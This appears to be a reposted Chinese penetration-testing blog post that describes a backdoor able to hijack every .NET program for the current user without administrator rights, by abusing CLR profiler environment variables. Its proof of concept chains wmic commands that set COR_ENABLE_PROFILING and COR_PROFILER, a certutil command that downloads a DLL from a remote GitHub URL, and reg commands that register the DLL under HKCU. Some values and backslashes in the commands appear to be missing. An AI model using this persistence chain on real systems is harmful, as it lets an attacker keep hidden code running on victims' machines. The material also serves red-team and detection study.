利用CLR实现一种无需管理员权限的后门

0x00 前言

在之前的文章《Use AppDomainManager to maintain persistence》介绍了通过AppDomainManager实现的一种被动后门触发机制,演示了如何劫持系统.Net程序powershell_ise.exe,但前提是需要获得管理员权限。

这一次将更进一步,介绍一种无需管理员权限的后门,并能够劫持所有.Net程序。

0x01 简介

本文将要介绍以下内容:

· CLR的使用

· 后门开发思路

· POC编写

· 后门检测

0x02 CLR的使用

CLR:

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:

· 在CLR监视之下运行的程序属于“托管的”(managed)代码

· 不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

CLR的使用:

测试系统: Win8 x86

1、启动cmd

输入如下代码:

SET COR_ENABLE_PROFILING=1SET COR_PROFILER=

注:

可设置为任意数值,只要不和系统常用CLSID冲突就好

2、测试dll

使用弹框dll,下载地址:

https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

dll开发过程可参考:

https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

可在cmd下实现直接下载,代码如下:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

操作如下图


注:

delete是为了清除下载文件的缓存

更多关于使用certutil.exe下载文件的利用细节可参考文章:《渗透测试中的certutil.exe》

3、操作注册表

默认路径改为msg.dll的路径

修改后的注册表如下图


对应cmd代码如下:

SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

4、在当前cmd启动.net程序

例如powershell.exe,启动时加载msg.dll,弹框

操作如下图


注:

使用其他cmd执行powershell.exe不会加载msg.dll

原因:

SET COR_ENABLE_PROFILING=1SET COR_PROFILER=

当然,执行其他.net程序也会加载msg.dll

测试如下图


0x03 后门开发思路

由以上测试得出结论,使用CLR能够劫持所有.Net程序的启动,但是只能作用于当前cmd

能否作用于全局呢?

自然想到了修改环境变量

通常,修改环境变量使用面板操作的方式,如下图


能否通过命令行修改环境变量呢?

自然想到了WMI

修改系统变量(需要管理员权限):

wmic ENVIRONMENT create name="1",username="",VariableValue="1"

修改当前用户变量(当前用户权限):

wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"

注:

通过WMI修改环境变量需要系统重启或注销重新登录才能生效

接下来需要测试,是否只需要修改当前用户权限就能够实现作用于全局,答案是肯定的。

添加当前用户的环境变量:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""

重启后,成功修改,如下图


现在直接启动.Net程序,弹框,成功加载msg.dll

如下图


至此,后门思路验证成功

0x04 POC编写

对于32位操作系统,参考0x03的代码就好,x86 POC如下:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

对应64位系统,需要注意重定向问题,注册表存在32位和64位两个位置

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 80,080评论 12 120
  • 部分内容转载自搜狗百科 cmd是command的缩写.即命令提示符(CMD),是在OS / 2 , Windows...
    青冥之上阅读 1,083评论 0 24
  • 黑客常用命令大全 net user heibai lovechina /add 加一个heibai的用户密码...
    倒带默写阅读 4,538评论 0 20
  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 3,365评论 0 19
  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 2,141评论 0 6